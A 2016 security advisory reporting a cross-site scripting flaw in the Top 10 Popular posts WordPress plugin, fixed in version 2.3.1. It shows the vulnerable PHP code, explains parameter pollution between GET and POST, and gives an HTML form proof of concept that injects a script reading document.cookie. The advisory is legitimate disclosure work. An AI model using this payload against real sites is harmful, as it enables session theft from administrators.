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Cross-Site Scripting vulnerability in Top 10 - Popular posts plugin for
WordPress
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Yorick Koster, July 2016
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Abstract
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A Cross-Site Scripting vulnerability was found in the Top 10 - Popular
posts WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
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OVE ID
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OVE-20160712-0017
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Tested versions
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This issue was successfully tested on Top 10 - Popular posts plugin for
WordPress WordPress Plugin version 2.3.0.
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Fix
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This issue is resolved in Top 10 version 2.3.1.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_top_10___popular_posts_plugin_for_wordpress.html
The issue exists in the file class-stats.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.
<form method="get">
<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />
<?php
// If this is a search?
if ( isset( $_REQUEST['s'] ) ) {
$args['search'] = esc_sql( $_REQUEST['s'] );
}
[...]
</form>
Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=tptn_popular_posts" method="POST">
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
